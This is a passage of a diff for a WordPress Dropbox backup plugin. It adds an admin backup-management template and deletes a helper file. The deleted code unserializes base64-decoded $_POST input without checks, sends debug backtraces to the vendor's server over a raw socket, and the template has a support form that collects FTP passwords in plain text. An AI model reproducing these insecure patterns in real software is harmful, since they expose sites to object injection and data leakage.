+ <?php langWPADM::get('Dropbox Full Backup');?>
856
+ <span style="font-size: 20px;"><?php langWPADM::get('(files+database)');?></span>
857
+ </div>
858
+ <?php if ($show) {?>
859
+ <div id="container-user" class="cfTabsContainer" style="width: 48%; padding-bottom: 0px; padding-top: 0px; float: left; margin-left: 20px;">
860
+ <div class="stat-wpadm-info-title" id="title-regisr" style="padding :20px 0px; margin-top:11px; line-height: 25px;">
861
+ <?php langWPADM::get('Free Sign Up'); ?> <br /><?php langWPADM::get('to backup more than one website...'); ?>
862
+ </div>
863
+ <div id="cf_activate" class="cfContentContainer" style="display: none;">
864
+ <form method="post" id="dropbox_form" action="<?php echo admin_url( 'admin-post.php?action=wpadm_activate_plugin' )?>" >
865
+ <div class="stat-wpadm-registr-info" style="margin-bottom: 40px; margin-top: 17px;">
866
+ <table class="form-table stat-table-registr" style="">
867
+ <tbody>
868
+ <tr valign="top">
869
+ <th scope="row">
870
+ <label for="email"><?php langWPADM::get('E-mail'); ?></label>
871
+ </th>
872
+ <td>
873
+ <input id="email" class="" type="text" name="email" value="">
874
+ </td>
875
+ </tr>
876
+ <tr valign="top">
877
+ <th scope="row">
878
+ <label for="password"><?php langWPADM::get('Password'); ?></label>
879
+ </th>
880
+ <td>
881
+ <input id="password" class="" type="password" name="password" value="">
882
+ </td>
883
+ </tr>
884
+ <tr valign="top">
885
+ <th scope="row">
886
+ <label for="password-confirm"><?php langWPADM::get('Password confirm'); ?></label>
887
+ </th>
888
+ <td>
889
+ <input id="password-confirm" class="" type="password" name="password-confirm" value="">
890
+ </td>
891
+ </tr>
892
+ <tr valign="top">
893
+ <th scope="row">
894
+ </th>
895
+ <td>
896
+ <input class="button-wpadm" type="submit" value="<?php langWPADM::get('Register & Activate'); ?>" name="send">
897
+ </td>
898
+ </tr>
899
+ </tbody>
900
+ </table>
901
+ </div>
902
+ <div class="stat-wpadm-info" id="registr-info" style="margin-bottom: 2px; margin-top: 30px;">
903
+ <span style="font-weight:bold; font-size: 14px;"><?php langWPADM::get('If you are NOT registered at'); ?> <a target="_blank" style="color: #fff" href="<?php echo SERVER_URL_INDEX; ?>"><?php langWPADM::get('WPAdm'); ?></a>,</span> <?php langWPADM::get('enter your email and password to use as your Account Data for authorization on WPAdm.'); ?> <br /><span style="font-weight: bold;font-size: 14px;"><?php langWPADM::get('If you already have an account at'); ?> <a target="_blank" style="color: #fff" href="<?php echo SERVER_URL_INDEX; ?>"><?php langWPADM::get('WPAdm'); ?></a></span> <?php langWPADM::get('and you want to Sign-In, so please, enter your registered credential data (email and password twice).'); ?>
904
+ </div>
905
+ </form>
906
+ </div>
907
+ <div class="clear"></div>
908
+ <div class="block-button-show" style="color: #fff;">
909
+ <div class="block-click" onclick="showRegistInfo(true);">
910
+ <span id="registr-show" style="color: #fff;"><?php langWPADM::get('Show'); ?></span>
911
+ <div id="registr-choice-icon" class="dashicons dashicons-arrow-down" style=""></div>
912
+ </div>
913
+ </div>
914
+ </div>
915
+ <?php } else { ?>
916
+ <div id="container-user" class="cfTabsContainer" style="width: 48%; padding-bottom: 0px; padding-top: 0px; float: left; margin-left: 20px;">
917
+ <div class="stat-wpadm-info-title" id="title-regisr" style="padding :10px 0px; margin-top:11px; line-height: 25px; text-align: left; margin-left: 10px;">
918
+ <?php langWPADM::get('Sign In to backup more than one website...'); ?>
919
+ </div>
920
+ <div>
921
+ <form method="post" id="auth" name="auth" action="<?php echo SERVER_URL_INDEX . "login-process" ; ?>">
922
+ <div>
923
+ <div id="message-form" style="color: red; float: left;margin: 10px;margin-top: 14px;"></div>
924
+ </div>
925
+ <div style="padding: 5px; clear: both;">
926
+ <div class="form-field">
927
+ <input class="input-small" type="text" id="username" value="<?php echo get_option(PREFIX_BACKUP_ . "email");?>" readonly="readonly" required="required" name="username" placeholder="<?php langWPADM::get('Email'); ?>" />
928
+ </div>
929
+ <div class="form-field">
930
+ <input class="input-small" type="password" required="required" name="password" placeholder="<?php langWPADM::get('Password'); ?>" />
931
+ </div>
932
+ <div class="form-field">
933
+ <input class="button-wpadm" type="button" value="Sign In" onclick="auth_form(this);" />
934
+ <input type="hidden" value="<?php echo 'dropbox-backup'?>" name="plugin" />
935
+ </div>
936
+ </div>
937
+ <div style="clear:both; padding: 5px; font-size: 11px; color: #fff;">
938
+ <div class="form-field" style="margin-bottom: 10px;">
939
+ <input type="checkbox" onclick="setReadOnly('username')" style="margin: 0px;"> <?php langWPADM::get('set new mail'); ?>
940
+ </div>
941
+ </div>
942
+ <div style="clear:both;"></div>
943
+ </form>
944
+ </div>
945
+ </div>
946
+ <?php } ?>
947
+ <div class="cfTabsContainer" style="width: 28%; float: left; margin-left: 10px; padding-bottom: 0px; padding-top: 0px;">
948
+ <div class="stat-wpadm-info-title" id="title-setting" style="padding :20px 0px; margin-top:11px; line-height: 50px;">
949
+ <?php langWPADM::get('Settings'); ?>
950
+ </div>
951
+ <div id="setting_active" class="cfContentContainer" style="display: none;">
952
+ <form method="post" action="" >
953
+ <div class="stat-wpadm-registr-info" style="width: 100%; margin-bottom: 9px;">
954
+ <div style="margin-bottom: 12px; margin-top: 20px; font-size: 15px; text-align: center;">
955
+ <input class="btn-orange" type="button" style="padding: 5px 10px; font-size: 15px; font-weight: 500" onclick="connectDropbox(this,'<?php echo admin_url( 'admin-post.php?action=dropboxConnect' )?>')" value="<?php langWPADM::get('Connect to Dropbox'); ?>" name="submit">
956
+ <div class="desc-wpadm"><span id="dropbox_uid_text"><?php echo isset($dropbox_options['oauth_token']) && isset($dropbox_options['uid']) ? langWPADM::get('Dropbox successfully connected:', false) . " UID " . $dropbox_options['uid'] : ''; ?></span></div>
957
+ </div>
958
+ <?php $show_fields = isset($dropbox_options['app_key']) && !empty($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && !empty($dropbox_options['app_secret']) && $dropbox_options['app_key'] != WPADM_APP_KEY && $dropbox_options['app_secret'] != WPADM_APP_SECRET ; ?>
959
+ <div class="setting-checkbox">
960
+ <input type="checkbox" onclick="showApp();" <?php echo $show_fields ? 'checked="checked"' : ''?> id="dbconnection-to-app" /><label for="dbconnection-to-app"><?php langWPADM::get('Connect using my Dropbox App');?></label>
961
+ </div>
962
+
963
+ <table class="form-table stat-table-registr" style="margin-top:2px; <?php echo $show_fields ? 'margin-bottom:25px;' : ''?>">
964
+ <tbody>
965
+ <tr valign="top" id="dropbox-app-key" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
966
+ <th scope="row">
967
+ <label for="app_key"><?php langWPADM::get('App key'); ?>*</label>
968
+ </th>
969
+ <td>
970
+ <input id="app_key" class="" type="text" name="app_key" value="<?php echo isset($dropbox_options['app_key']) && $dropbox_options['app_key'] != WPADM_APP_KEY ? $dropbox_options['app_key'] : ''?>">
971
+ </td>
972
+ </tr>
973
+ <tr valign="top" id="dropbox-app-secret" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
974
+ <th scope="row">
975
+ <label for="app_secret"><?php langWPADM::get('App secret'); ?>*</label>
976
+ </th>
977
+ <td>
978
+ <input id="app_secret" class="" type="text" name="app_secret" value="<?php echo isset($dropbox_options['app_secret']) && $dropbox_options['app_secret'] != WPADM_APP_SECRET ? $dropbox_options['app_secret'] : ''?>">
979
+ </td>
980
+ </tr>
981
+
982
+ <tr valign="top" id="help-key-pass" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
983
+ <td colspan="2" align="center">
984
+ <a class="help-key-secret" href="javascript:getHelperDropbox();" ><?php langWPADM::get('Where to get App key & App secret?'); ?></a><br />
985
+ </td>
986
+ </tr>
987
+ </tbody>
988
+ </table>
989
+
990
+ <?php if ( is_super_admin() ) { ?>
991
+ <div class="setting-checkbox">
992
+ <input type="checkbox" <?php echo isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ? 'checked="checked"' : ''; ?> name="is_admin" value="1" id="is_admin" onclick="saveSetting()" /><label for="is_admin" style="font-size: 13px;"><?php langWPADM::get('Appear in menu for admins only'); ?></label>
993
+ </div>
994
+ <?php } ?>
995
+ </div>
996
+ </form>
997
+ </div>
998
+ <div class="clear"></div>
999
+ <div class="block-button-show" style="color: #fff;">
1000
+ <div class="block-click" onclick="showSetting(true);">
1001
+ <span id="setting-show" style="color: #fff;"><?php langWPADM::get('Show'); ?></span>
1002
+ <div id="setting-choice-icon" class="dashicons dashicons-arrow-down" style=""></div>
1003
+ </div>
1004
+ </div>
1005
+ </div>
1006
+ </div>
1007
+ </div>
1008
+ <div style="clear: both;"></div>
1009
+ <div class="block-content">
1010
+ <div class="" style="margin-top:10px;">
1011
+ <div id="logs-form" style="display: none; float:left; width: 70%;">
1012
+ <div class="title-logs"><span style="font-size:16px;"><?php langWPADM::get('Please wait...'); ?> <span id="time_backup">0 <?php langWPADM::get('sec.'); ?></span><img style="float: right;" src="<?php echo plugins_url('/img/wpadmload.gif', dirname(__FILE__))?>" alt=""></span></div>
1013
+ <div class="title-status" style="font-size:16px; display: none;"></div>
1014
+ <div style="border: 1px solid #ddd; text-align: left; background: #fff; padding: 2px;">
1015
+ <div id="log-backup" style="overflow: auto; height: 60px; border: 5px solid #fff; "></div>
1016
+ </div>
1017
+ </div>
1018
+
1019
+ <div id="reviews-dropbox" class="pointer" onclick="window.open('https://wordpress.org/support/view/plugin-reviews/dropbox-backup?filter=5');">
1020
+ <div class="title-reviews"><?php langWPADM::get('++ Review ++'); ?></div>
1021
+ <div class="desc-reviews"><?php langWPADM::get('Your review is important for us'); ?></div>
1022
+ <img src="<?php echo plugins_url('/img/stars-5.png', dirname(__FILE__));?>" alt=""></a>
1023
+ </div>
1024
+ <div id="support-button" style="float: right; margin-top: 130px; margin-right: 20px;">
1025
+ <button onclick="window.open('<?php echo SERVER_URL_INDEX . 'support/?pl=dbp'?>')" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php langWPADM::get('Help'); ?></button> <br />
1026
+ </div>
1027
+ <div id="action-buttons" style="">
1028
+ <div style="float: left;">
1029
+ <button onclick="start_dropbox_backup();" class="backup_button" style=""><?php langWPADM::get('Create Dropbox Backup'); ?></button>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1030
+ </div>
1031
+ <div style="float: left; margin-top: 2px;">
1032
+ <button onclick="start_local_backup()" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php langWPADM::get('Create Local Backup'); ?></button> <br />
1033
+ </div>
1034
+ <!-- <div style="float: left; margin-top: 2px;margin-left: 20px;">
1035
+ <button onclick="InludesSetting();" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php langWPADM::get('Folders & files'); ?></button> <br />
1036
+ </div> -->
1037
+ <div style="clear: both;"></div>
1038
+ </div>
1039
+ </div>
1040
+ <div style="clear: both; margin-bottom: 10px;"></div>
1041
+ <div>
1042
+ <form action="<?php echo WPADM_URL_BASE;?>wpsite/recovery-backup" method="post" target="_blank" id="form_auth_backup" name="form_auth_backup">
1043
+ </form>
1044
+ <form action="<?php echo WPADM_URL_BASE;?>backup/tasks" method="post" target="_blank" id="form_auth_backup_create" name="form_auth_backup_create">
1045
+ <input type="hidden" name="url_task_create" value="<?php echo get_option('siteurl');?>">
1046
+ </form>
1047
+ <form action="" method="post" id="form_auth_backup" name="form_auth_backup">
1048
+ </form>
1049
+ <form action="<?php echo admin_url( 'admin-post.php?action=wpadm_delete_backup' )?>" method="post" id="delete_backups" name="delete_backups">
1050
+ <input type="hidden" name="backup-name" id="backup_name" value="" />
1051
+ <input type="hidden" name="backup-type" id="backup_type" value="" />
1052
+ </form>
1053
+ <!-- <div id="inludes-setting" class="" style="display: none; position: relative; text-align: center; background: #f1ebeb; border: 2px solid #dde4ff; border-radius: 5px;">
1054
+ <div>
1055
+ <div class="title-description" style="font-size: 20px; text-align: center;padding-top:20px; line-height: 30px;">
1056
+ <?php langWPADM::get('Include/Exclude of Files & Folders to backup'); ?>
1057
+ <div style="font-size: 14px;">
1058
+ <?php langWPADM::get('Database of web page will be included automatically'); ?>
1059
+ </div>
1060
+ </div>
1061
+ <div class="loading-img">
1062
+ <img style="display: none; margin: 0 auto;" src="<?php echo plugins_url('/img/wpadmload.gif', dirname(__FILE__) ); ?>">
1063
+ </div>
1064
+ <div class="button-description">
1065
+ <!-- <input type="radio" value="folder" id="inc-folder" checked="checked"><label for="inc-folder">View folders</label> &nbsp;&nbsp;&nbsp; <input type="radio" value="files" id="inc-files" ><label for="inc-files">View Folders & Files</label>
1066
+ <div class="show-includes">
1067
+
1068
+ </div>
1069
+ </div>
1070
+ <div class="clear"></div>
1071
+ <div class="button-description" style="padding:20px 0; width: 100%;">
1072
+ <input type="button" value="<?php langWPADM::get('OK'); ?>" onclick="saveIncludes();" style="text-align: center; width: 100px;" class="button-wpadm">
1073
+ <input type="button" value="<?php langWPADM::get('Cancel'); ?>" onclick="InludesSetting();" style="text-align: center; width: 100px;" class="button-wpadm">
1074
+ </div>
1075
+ </div>
1076
+
1077
+ </div> -->
1078
+
1079
+ <table class="table" style="margin-top: 5px; display: <?php echo isset($data['md5']) && ($n = count($data['data'])) && is_array($data['data'][0]) ? 'table' : 'none'?>;">
1080
+ <thead>
1081
+ <tr>
1082
+ <th>#</th>
1083
+ <th align="left"><?php langWPADM::get('Create, Date/Time'); ?></th>
1084
+ <th><?php langWPADM::get('Name of Backup'); ?></th>
1085
+ <th><?php langWPADM::get('Archive Parts'); ?></th>
1086
+ <th><?php langWPADM::get('Status'); ?></th>
1087
+ <th><?php langWPADM::get('Type of Backup'); ?></th>
1088
+ <th><?php langWPADM::get('Size'); ?></th>
1089
+ <?php if(is_admin() || is_super_admin()) {?>
1090
+ <th><?php langWPADM::get('Action'); ?></th>
1091
+ <?php
1092
+ }
1093
+ ?>
1094
+ </tr>
1095
+ </thead>
1096
+ <tbody>
1097
+ <?php if (isset($data['md5']) && ($n = count($data['data'])) && is_array($data['data'][0])) {
1098
+ for($i = 0; $i < $n; $i++) {
1099
+ $size = $data['data'][$i]['size'] / 1024 / 1024; /// MByte
1100
+ $size = round($size, 2);
1101
+ $files = explode(",", str_replace(array('"', "[", "]"), "", $data['data'][$i]['files'] ) );
1102
+ $f = count($files);
1103
+ ?>
1104
+ <tr>
1105
+ <td class="number-backup"><?php echo ($i + 1);?></td>
1106
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer" style="text-align: left; padding-left: 7px;"><?php echo $data['data'][$i]['dt'];?></td>
1107
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer">
1108
+ <?php echo ($data['data'][$i]['size'] != 0) ? $data['data'][$i]['name'] : "<strong style=\"color:red;\">". langWPADM::get('Not available', false) . "</strong>&nbsp;&nbsp;(<a style=\"text-decoration:underline;\">".langWPADM::get('Why?', false)."</a>)";?>
1109
+ <script type="text/javascript">
1110
+ backup_name = '<?php echo $data['data'][$i]['name']?>';
1111
+ </script>
1112
+ </td>
1113
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo isset($data['data'][$i]['count']) ? $data['data'][$i]['count'] : $f ;?></td>
1114
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer" style="padding: 0px;">
1115
+ <?php if ($data['data'][$i]['size'] != 0) { ?>
1116
+ <img src="<?php echo plugin_dir_url(__FILE__) . "ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;" />
1117
+ <div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Successful', false);?></div>
1118
+ <?php } else {
1119
+ ?>
1120
+ <img src="<?php echo plugin_dir_url(__FILE__) . "not-ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;margin-left: 21px;" />
1121
+ <div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Fail', false);?>&nbsp;&nbsp;(<a style="text-decoration:underline;"><?php echo langWPADM::get('Show Details', false);?></a>)</div>
1122
+ <?php
1123
+ }?>
1124
+ </td>
1125
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo $data['data'][$i]['type'];?> <?php langWPADM::get('backup'); ?></td>
1126
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo $size . langWPADM::get('Mb', false);?></td>
1127
+ <td>
1128
+ <?php if(is_admin() || is_super_admin()) {?>
1129
+ <?php if ($data['data'][$i]['size'] > 0) { ?>
1130
+ <a class="button-wpadm" href="javascript:void(0)" title="<?php langWPADM::get('Restore'); ?>" onclick="show_recovery_form('<?php echo isset($data['data'][$i]['name']) && $data['data'][$i]['type'] != 'local' ? $data['data'][$i]['name'] : 'local' ?>', '<?php echo $data['data'][$i]['name']?>')" style="color: #fff;"><span class="pointer dashicons dashicons-backup" style="margin-top:3px;"></span><?php langWPADM::get('Restore'); ?></a>&nbsp;
1131
+ <?php } ?>
1132
+ <a class="button-wpadm" href="javascript:void(0)" title="<?php langWPADM::get('Delete'); ?>" onclick="delete_backup('<?php echo $data['data'][$i]['name']; ?>', '<?php echo $data['data'][$i]['type'];?>')" style="color: #fff;"><span class="pointer dashicons dashicons-trash" style="margin-top:3px;"></span><?php langWPADM::get('Delete'); ?></a>&nbsp;
1133
+ <?php
1134
+ }
1135
+ ?>
1136
+ </td>
1137
+ </tr>
1138
+ <tr id="<?php echo md5( print_r($data['data'][$i], 1) );?>" style="display:none; ">
1139
+ <?php if ($data['data'][$i]['size'] != 0) {?>
1140
+ <td colspan="2">
1141
+ </td>
1142
+ <td align="center" style="padding: 0px; width: 350px;">
1143
+ <div style="overflow: auto; max-height: 150px;">
1144
+ <?php
1145
+ if ($f > 0) { ?>
1146
+ <table border="0" align="center" class="info-path"> <?php
1147
+ for($j = 0; $j < $f; $j++) {
1148
+ if (!empty($files[$j])) {
1149
+ ?>
1150
+ <tr style="border: 0;">
1151
+ <td style="border: 0;">
1152
+ <?php if ($data['data'][$i]['type'] == 'local') {?>
1153
+ <a href="<?php echo content_url(DROPBOX_BACKUP_DIR_NAME) . "/{$data['data'][$i]['name']}/{$files[$j]}"?>">
1154
+ <?php echo $files[$j]; ?>
1155
+ </a>
1156
+ <?php
1157
+ } else {
1158
+ echo $files[$j];
1159
+ }
1160
+ ?>
1161
+ </td>
1162
+ </tr>
1163
+ <?php
1164
+ }
1165
+ }
1166
+ ?>
1167
+ </table>
1168
+ <?php
1169
+ }
1170
+ ?>
1171
+ </div>
1172
+ </td>
1173
+ <td colspan="6"></td>
1174
+ <?php
1175
+ } else { ?>
1176
+ <td colspan="2">
1177
+ </td>
1178
+ <td colspan="4" style="background: #ddecf9;">
1179
+ <div style="padding-left: 10px; padding-right: 10px;">
1180
+ <div style="font-size: 12px; text-align: left;">
1181
+ <?php
1182
+ $time_log = str_replace(array(':', '-', " "), "_", $data['data'][$i]['dt']);
1183
+ if ( file_exists( $base_path . "/tmp/logs_error_" . $time_log ) ) {
1184
+ $log_ = file_get_contents( $base_path . "/tmp/logs_error_" . $time_log );
1185
+ $pos = stripos($log_, "error");
1186
+ if ($pos !== false) {
1187
+ for($p = $pos; ; $p--) {
1188
+ if ($log_{$p} == "\n") {
1189
+ $pos_new = $p + 1;
1190
+ break;
1191
+ }
1192
+ }
1193
+ $error =substr($log_, $pos_new);
1194
+ echo str_replace("\n", "<br />", $error);
1195
+ }
1196
+ } else {
1197
+ langWPADM::get('Error log wasn\'t Found');
1198
+ }?>
1199
+ </div>
1200
+
1201
+ <form action="<?php echo admin_url( 'admin-post.php?action=error_logs_check' )?>" method="post" style=" text-align: left;">
1202
+ <div style="margin-top: 10px; font-size: 16px; font-weight: bold; margin-bottom: 10px;">
1203
+ <?php langWPADM::get('Please, provide your FTP access to resolve this issue quickly:');?>
1204
+ </div>
1205
+ <div class="form-help-send-error" >
1206
+ <div style="margin-top: 3px;">
1207
+ <div class="label-help" style="">
1208
+ <label for="ftp-host"><?php langWPADM::get('FTP Host'); ?></label>
1209
+ </div>
1210
+ <div style="float:left; ">
1211
+ <input type="text" id="ftp-host" value="<?php echo str_ireplace(array('http://', 'https://'), '', home_url()) ;?>" name="ftp_host" >
1212
+ </div>
1213
+ </div>
1214
+ <div class="clear"></div>
1215
+ <div style="margin-top: 3px;">
1216
+ <div class="label-help" >
1217
+ <label for="ftp-user"><?php langWPADM::get('FTP User'); ?></label>
1218
+ </div>
1219
+ <div style="float:left; ">
1220
+ <input type="text" id="ftp-user" value="" name="ftp_user">
1221
+ </div>
1222
+ </div>
1223
+ <div class="clear"></div>
1224
+ <div style="margin-top: 3px;">
1225
+ <div class="label-help" >
1226
+ <label for="ftp-pass"><?php langWPADM::get('FTP Password'); ?></label>
1227
+ </div>
1228
+ <div style="float:left; ">
1229
+ <input type="text" id="ftp-pass" value="" name="ftp_pass">
1230
+ </div>
1231
+ </div>
1232
+ <div class="clear"></div>
1233
+
1234
+ </div>
1235
+ <div class="form-help-mail-response">
1236
+ <div style="padding: 20px; border:1px solid #fff; margin-top: 3px;">
1237
+ <div class="label-help" >
1238
+ <label for="email-resp"><?php langWPADM::get('Response Email:'); ?></label>
1239
+ </div>
1240
+ <div style=" ">
1241
+ <input type="text" id="email-resp" value="<?php echo get_option('admin_email');?>" style="padding-left:3px;" name="mail_response">
1242
+ </div>
1243
+ </div>
1244
+ </div>
1245
+ <div class="clear"></div>
1246
+ <div style="text-align: left; margin-left: 100px; margin-top: 10px;">
1247
+ <input value="<?php echo $time_log; ?>" type="hidden" name="time_pars">
1248
+ <input class="backup_button" style="font-size: 14px;font-weight: normal;padding: 3px;text-shadow: 0px;" type="submit" value="<?php langWPADM::get('Send request to support'); ?>">
1249
+ </div>
1250
+ </form>
1251
+
1252
+ </div>
1253
+ </td>
1254
+ <td colspan="3">
1255
+ </td>
1256
+ <?php
1257
+ }
1258
+ ?>
1259
+ </tr>
1260
+ <?php
1261
+ } ?>
1262
+ <?php } ?>
1263
+ </tbody>
1264
+ </table>
1265
+
1266
+ </div>
1267
+ </div>
1268
+
1269
+ </div>
wpadm.php DELETED
@@ -1,249 +0,0 @@
1
- <?php
2
- if (! defined("WPADM_URL_BASE")) {
3
- define("WPADM_URL_BASE", 'http://secure.wpadm.com/');
4
- }
5
- /**
6
- * General functions
7
- *
8
- */
9
-
10
- if ( ! function_exists( 'wpadm_run' )) {
11
- function wpadm_run($pl, $dir) {
12
- @set_time_limit(0);
13
- require_once dirname(__FILE__) . '/class-wpadm-method-class.php';
14
- $request_name = $pl . '_request';
15
- if( isset( $_POST[$request_name] ) && ! empty ( $_POST[$request_name] ) ) {
16
- require_once dirname(__FILE__) . '/class-wpadm-core.php';
17
- $wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
18
- echo '<wpadm>'.wpadm_pack($wpadm->getResult()->toArray()).'</wpadm>';
19
- exit;
20
- }
21
- }
22
- }
23
- if ( ! function_exists('wpadm_include_admins_script') ) {
24
- function wpadm_include_admins_script()
25
- {
26
- wp_enqueue_style('css-admin-wpadm-db', plugins_url( "/css/admin-style-wpadm.css", __FILE__ ) );
27
- }
28
- }
29
-
30
-
31
- if ( ! function_exists( 'wpadm_unpack' )) {
32
- /**
33
- * @param str $str
34
- * @return mixed
35
- */
36
- function wpadm_unpack( $str ) {
37
- return unserialize( base64_decode( $str ) );
38
- }
39
- }
40
-
41
- if ( ! function_exists('wpadm_pack')) {
42
- /**
43
- * @param mixed $value
44
- * @return string
45
- */
46
- function wpadm_pack( $value ) {
47
- return base64_encode( serialize ( $value ) ) ;
48
- }
49
- }
50
-
51
- if ( ! function_exists('wpadm_admin_notice')) {
52
- function wpadm_admin_notice() {
53
- global $status, $page, $s;
54
- $context = $status;
55
- $plugin = 'dropbox-backup/dropbox-backup.php';
56
- $nonce = wp_create_nonce('deactivate-plugin_' . $plugin);
57
- $actions = 'plugins.php?action=deactivate&amp;plugin=' . urlencode($plugin) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s . '&amp;_wpnonce=' . $nonce;
58
- $wpadm_key = !get_option('wpadm_pub_key');
59
- $url = home_url();
60
- $url = str_ireplace(array('http://', 'https://'), "", $url);
61
- $url = str_ireplace(array('www.'), "", $url);
62
- if (substr($url, -1) == "/") {
63
- $url = substr($url, 0, strlen($url) );
64
- }
65
- $plugin = md5('dropbox-backup');
66
-
67
- ?>
68
-
69
-
70
- <?php if ($wpadm_key) { ?>
71
- <div class="wpadm-notice">
72
- <div class="registr">
73
- Please add this site to your
74
- <form action="<?php echo WPADM_URL_BASE?>user/registration" target="_blank" style="margin-bottom: 3px; display: inline;" method="post">
75
- <input type="hidden" name="site" value="<?php echo md5($url);?>" />
76
- <input type="hidden" name="plugin" value="<?php echo md5($plugin);?>" />
77
- <input type="submit" value="WPAdm" class="button-wpadm" style="margin-top: -3px;" />
78
- </form>
79
- account or <a href="<?php echo $actions;?>">deactivate DropBox Backup</a> plugin
80
- </div>
81
- </div>
82
- <?php } else { ?>
83
- <div class="wpadm-notice" style="height: 195px">
84
- <div class="registr" style="font-size: 14px; margin-top: 10px; line-height: 24px;">
85
- <form action="<?php echo WPADM_URL_BASE?>user/registration" target="_blank" style="margin-bottom: 3px; display: inline;" method="post">
86
- <input type="hidden" name="site" value="<?php echo md5($url);?>" />
87
- <input type="hidden" name="plugin" value="<?php echo md5($plugin);?>" />
88
- <input type="hidden" name="u" value="<?php echo 1;?>" />
89
- Dear user, <br />
90
- all Backups you have made by <strong>Dropbox Backup</strong> plugin are safe and available at their place, but, according to the rules of Wordpress system, we had to update the logic of <strong>Dropbox Backup</strong> plugin.<br />
91
- Now, if you want to see the <strong>Dropbox Backup</strong> plugin interface in your admin-panel again, you must upgrade this plugin from
92
- <input type="submit" value="our page" class="button-link" />.
93
- This is optional feature, you mustn’t do it, but you can. <br />
94
- Also, you can administrate all of your Backups for all of your web pages from one place – <input type="submit" value="WPAdm-account" class="button-link" />. This account is FULL FREE.<br />
95
- Here you can <input type="submit" value="login" class="button-wpadm" style="margin-top: -3px;" /> to your account or register in the WPAdm system.
96
- </form>
97
- </div>
98
- </div>
99
- <?php
100
- } ?>
101
-
102
-
103
- <?php
104
- }
105
- }
106
-
107
-
108
- if ( ! function_exists('wpadm_deactivation')) {
109
- function wpadm_deactivation() {
110
- wpadm_send_blog_info('deactivation');
111
- }
112
- }
113
-
114
-
115
- if ( ! function_exists('wpadm_uninstall')) {
116
- function wpadm_uninstall() {
117
- wpadm_send_blog_info('uninstall');
118
- }
119
- }
120
-
121
-
122
- if ( ! function_exists('wpadm_activation')) {
123
- function wpadm_activation() {
124
- wpadm_send_blog_info('activation');
125
- }
126
- }
127
-
128
- if ( ! function_exists('wpadm_send_blog_info')) {
129
- function wpadm_send_blog_info($status) {
130
- $info = wpadm_get_blog_info();
131
- $info['status'] = $status;
132
-
133
- $data = wpadm_pack($info);
134
- $host = WPADM_URL_BASE;
135
- $host = str_replace(array('http://','https://'), '', trim($host,'/'));
136
- $socket = fsockopen($host, 80, $errno, $errstr, 30);
137
- fwrite($socket, "GET /wpsite/pluginHook?data={$data} HTTP/1.1\r\n");
138
- fwrite($socket, "Host: {$host}\r\n");
139
-
140
- fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
141
- fwrite($socket,"Content-length:".strlen($data)."\r\n");
142
- fwrite($socket,"Accept:*/*\r\n");
143
- fwrite($socket,"User-agent:Opera 10.00\r\n");
144
- fwrite($socket,"Connection:Close\r\n");
145
- fwrite($socket,"\r\n");
146
- sleep(1);
147
- fclose($socket);
148
- }
149
- }
150
-
151
- if ( ! function_exists('wpadm_get_blog_info')) {
152
- function wpadm_get_blog_info() {
153
- $info = array(
154
- 'url' => get_site_url(),
155
- );
156
- $debug = debug_backtrace();
157
- $info['debug'] = $debug;
158
- $file = (is_array($debug[count($debug)-1]['args'][0]))?$debug[count($debug)-1]['args'][0][0] : $debug[count($debug)-1]['args'][0];
159
- preg_match("|wpadm_.*wpadm_(.*)\.php|", $file, $m); ;
160
- $info['plugin'] = $m[1];
161
-
162
- return $info;
163
- }
164
- }
165
-
166
- if (!function_exists("get_system_data")) {
167
- function get_system_data()
168
- {
169
-
170
- global $wp_version;
171
-
172
- /*
173
- *
174
- * Get the settings of php to show in plugin information-page.
175
- * It will get the minimum requirements of php and mysql configuration, version and language of wordpress
176
- * additionally, AFTER the user has been registered at WPAdm service AND has confirmed their registration(!) this data
177
- * will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
178
- * Information about sending of this data is published in readme.txt of this plugin
179
- * WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
180
- *
181
- */
182
- $phpVersion = phpversion();
183
- $maxExecutionTime = ini_get('max_execution_time');
184
- $maxMemoryLimit = ini_get('memory_limit');
185
- $extensions = implode(', ', get_loaded_extensions());
186
- $disabledFunctions = ini_get('disable_functions');
187
- $mysqlVersion = '';
188
- $mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD);
189
- if (!mysqli_connect_errno()) {
190
- $mysqlVersion = $mysqli->server_info;
191
- }
192
- $upMaxExecutionTime = 0;
193
- $newMaxExecutionTime = intval($maxExecutionTime) + 60;
194
- @set_time_limit( $newMaxExecutionTime );
195
- if( ini_get('max_execution_time') == $newMaxExecutionTime ){
196
- $upMaxExecutionTime = 1;
197
- $maxExecutionTime = ini_get('max_execution_time');
198
- }
199
- $upMemoryLimit = 0;
200
- $newMemoryLimit = intval($maxMemoryLimit) + 60;
201
- ini_set('memory_limit', $newMemoryLimit.'M');
202
